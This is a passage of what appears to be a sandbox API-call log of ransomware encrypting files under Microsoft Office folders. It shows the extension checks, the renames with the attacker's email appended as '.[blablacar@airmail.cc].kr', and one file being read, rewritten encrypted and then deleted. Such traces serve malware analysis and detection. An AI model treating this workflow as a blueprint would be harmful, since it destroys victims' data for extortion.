(lpString1=".exe", lpString2=".kr") returned -1 [0188.486] lstrlenW (lpString="Flattener.exe") returned 13 [0188.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.487] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=45664) returned 1 [0188.487] CloseHandle (hObject=0x4d4) returned 1 [0188.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe")) returned 0x220 [0188.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0188.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0188.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0188.487] lstrlenW (lpString=".doc") returned 4 [0188.488] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0188.488] lstrlenW (lpString=".docx") returned 5 [0188.488] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0188.488] lstrlenW (lpString=".pdf") returned 4 [0188.488] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0188.488] lstrlenW (lpString=".xls") returned 4 [0188.488] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0188.488] lstrlenW (lpString=".xlsx") returned 5 [0188.488] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0188.488] lstrlenW (lpString=".ppt") returned 4 [0188.488] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0188.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0188.488] lstrlenW (lpString=".zip") returned 4 [0188.488] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0188.488] lstrlenW (lpString=".rar") returned 4 [0188.488] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0188.488] lstrlenW (lpString=".bz2") returned 4 [0188.488] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0188.488] lstrlenW (lpString=".7z") returned 3 [0188.488] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0188.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0188.488] lstrlenW (lpString=".dbf") returned 4 [0188.488] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0188.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0188.488] lstrlenW (lpString=".1cd") returned 4 [0188.488] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0188.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0188.489] lstrlenW (lpString=".jpg") returned 4 [0188.489] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0188.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0188.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0188.489] lstrlenW (lpString=".doc") returned 4 [0188.489] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0188.489] lstrlenW (lpString=".docx") returned 5 [0188.489] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0188.489] lstrlenW (lpString=".pdf") returned 4 [0188.489] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0188.489] lstrlenW (lpString=".xls") returned 4 [0188.489] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0188.489] lstrlenW (lpString=".xlsx") returned 5 [0188.489] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0188.489] lstrlenW (lpString=".ppt") returned 4 [0188.489] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0188.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0188.489] lstrlenW (lpString=".zip") returned 4 [0188.489] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0188.489] lstrlenW (lpString=".rar") returned 4 [0188.489] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0188.489] lstrlenW (lpString=".bz2") returned 4 [0188.489] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0188.489] lstrlenW (lpString=".7z") returned 3 [0188.489] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0188.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0188.489] lstrlenW (lpString=".dbf") returned 4 [0188.489] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0188.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0188.490] lstrlenW (lpString=".1cd") returned 4 [0188.490] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0188.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe") returned 62 [0188.490] lstrlenW (lpString=".jpg") returned 4 [0188.490] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0188.490] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0188.490] lstrlenW (lpString="Microsoft.AppV.Eventing.dll") returned 27 [0188.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.491] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=96472) returned 1 [0188.491] CloseHandle (hObject=0x4d4) returned 1 [0188.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll")) returned 0x220 [0188.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0188.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0188.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0188.492] lstrlenW (lpString=".doc") returned 4 [0188.492] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.492] lstrlenW (lpString=".docx") returned 5 [0188.492] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0188.492] lstrlenW (lpString=".pdf") returned 4 [0188.492] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.492] lstrlenW (lpString=".xls") returned 4 [0188.492] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.492] lstrlenW (lpString=".xlsx") returned 5 [0188.492] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0188.492] lstrlenW (lpString=".ppt") returned 4 [0188.492] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0188.492] lstrlenW (lpString=".zip") returned 4 [0188.492] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.492] lstrlenW (lpString=".rar") returned 4 [0188.493] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.493] lstrlenW (lpString=".bz2") returned 4 [0188.493] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.493] lstrlenW (lpString=".7z") returned 3 [0188.493] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0188.493] lstrlenW (lpString=".dbf") returned 4 [0188.493] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0188.493] lstrlenW (lpString=".1cd") returned 4 [0188.493] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0188.493] lstrlenW (lpString=".jpg") returned 4 [0188.493] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0188.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0188.493] lstrlenW (lpString=".doc") returned 4 [0188.493] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.493] lstrlenW (lpString=".docx") returned 5 [0188.493] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0188.493] lstrlenW (lpString=".pdf") returned 4 [0188.493] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.493] lstrlenW (lpString=".xls") returned 4 [0188.493] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.493] lstrlenW (lpString=".xlsx") returned 5 [0188.493] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0188.493] lstrlenW (lpString=".ppt") returned 4 [0188.493] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0188.494] lstrlenW (lpString=".zip") returned 4 [0188.494] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.494] lstrlenW (lpString=".rar") returned 4 [0188.494] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.494] lstrlenW (lpString=".bz2") returned 4 [0188.494] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.494] lstrlenW (lpString=".7z") returned 3 [0188.494] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0188.494] lstrlenW (lpString=".dbf") returned 4 [0188.494] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0188.494] lstrlenW (lpString=".1cd") returned 4 [0188.494] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0188.494] lstrlenW (lpString=".jpg") returned 4 [0188.494] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.494] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0188.494] lstrlenW (lpString="Microsoft.AppV.Modernizer.Common.dll") returned 36 [0188.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.495] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=49368) returned 1 [0188.495] CloseHandle (hObject=0x4d4) returned 1 [0188.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll")) returned 0x220 [0188.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0188.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0188.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0188.496] lstrlenW (lpString=".doc") returned 4 [0188.496] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.496] lstrlenW (lpString=".docx") returned 5 [0188.496] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0188.496] lstrlenW (lpString=".pdf") returned 4 [0188.496] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.496] lstrlenW (lpString=".xls") returned 4 [0188.496] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.496] lstrlenW (lpString=".xlsx") returned 5 [0188.496] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0188.496] lstrlenW (lpString=".ppt") returned 4 [0188.496] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0188.496] lstrlenW (lpString=".zip") returned 4 [0188.496] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.496] lstrlenW (lpString=".rar") returned 4 [0188.496] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.496] lstrlenW (lpString=".bz2") returned 4 [0188.496] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.496] lstrlenW (lpString=".7z") returned 3 [0188.496] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0188.496] lstrlenW (lpString=".dbf") returned 4 [0188.497] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0188.497] lstrlenW (lpString=".1cd") returned 4 [0188.497] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0188.497] lstrlenW (lpString=".jpg") returned 4 [0188.497] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0188.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0188.497] lstrlenW (lpString=".doc") returned 4 [0188.497] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.497] lstrlenW (lpString=".docx") returned 5 [0188.497] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0188.497] lstrlenW (lpString=".pdf") returned 4 [0188.497] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.497] lstrlenW (lpString=".xls") returned 4 [0188.497] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.497] lstrlenW (lpString=".xlsx") returned 5 [0188.497] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0188.497] lstrlenW (lpString=".ppt") returned 4 [0188.497] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0188.497] lstrlenW (lpString=".zip") returned 4 [0188.497] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.497] lstrlenW (lpString=".rar") returned 4 [0188.497] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.498] lstrlenW (lpString=".bz2") returned 4 [0188.498] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.498] lstrlenW (lpString=".7z") returned 3 [0188.498] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0188.498] lstrlenW (lpString=".dbf") returned 4 [0188.498] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0188.498] lstrlenW (lpString=".1cd") returned 4 [0188.498] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0188.498] lstrlenW (lpString=".jpg") returned 4 [0188.498] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.498] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0188.498] lstrlenW (lpString="Microsoft.AppV.Modernizer.CSharp.dll") returned 36 [0188.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.499] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=363736) returned 1 [0188.499] CloseHandle (hObject=0x4d4) returned 1 [0188.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll")) returned 0x220 [0188.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0188.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0188.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0188.499] lstrlenW (lpString=".doc") returned 4 [0188.499] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.499] lstrlenW (lpString=".docx") returned 5 [0188.499] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0188.499] lstrlenW (lpString=".pdf") returned 4 [0188.499] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.499] lstrlenW (lpString=".xls") returned 4 [0188.500] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.500] lstrlenW (lpString=".xlsx") returned 5 [0188.500] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0188.500] lstrlenW (lpString=".ppt") returned 4 [0188.500] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0188.500] lstrlenW (lpString=".zip") returned 4 [0188.500] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.500] lstrlenW (lpString=".rar") returned 4 [0188.500] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.500] lstrlenW (lpString=".bz2") returned 4 [0188.500] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.500] lstrlenW (lpString=".7z") returned 3 [0188.500] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0188.500] lstrlenW (lpString=".dbf") returned 4 [0188.500] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.501] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0188.758] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0188.760] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\OneDriveSetup.exe.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\integration\\onedrivesetup.exe.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0188.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31927.msp.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31927.msp.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0188.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\QFE31928.msp.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\integration\\qfe31928.msp.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0188.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0188.766] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.766] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0188.769] GetLastError () returned 0x0 [0188.769] ReadFile (in: hFile=0x36c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0xfa976, lpOverlapped=0x0) returned 1 [0189.055] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xfa980, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xfa980, lpOverlapped=0x0) returned 1 [0189.073] ReadFile (in: hFile=0x36c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0189.073] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10c, lpOverlapped=0x0) returned 1 [0189.073] SetEndOfFile (hFile=0x370) returned 1 [0191.036] CloseHandle (hObject=0x370) returned 1 [0191.037] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.037] SetEndOfFile (hFile=0x36c) returned 1 [0191.100] CloseHandle (hObject=0x36c) returned 1 [0191.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x64.msu")) returned 1 [0191.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79 [0191.101] lstrlenW 